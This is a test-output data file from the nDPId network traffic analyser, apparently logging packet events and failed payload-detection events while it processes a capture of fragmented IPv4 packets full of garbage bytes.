+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777745,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6346,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777750,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6347,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777755,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6348,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777761,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6349,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777766,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6350,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777771,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6351,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777776,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6352,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777782,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6353,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777787,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6354,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777792,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6355,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6356,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777807,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6357,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777816,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6358,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777825,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6359,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777837,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6360,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777846,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6361,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777863,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777873,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777883,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777892,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777901,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777911,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777923,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777933,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777943,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777952,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777961,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777971,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777980,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777989,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":777998,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778008,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778018,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778028,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778037,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778047,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778057,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778066,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778076,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778085,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778095,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244030,"pkt_ts_usec":778105,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 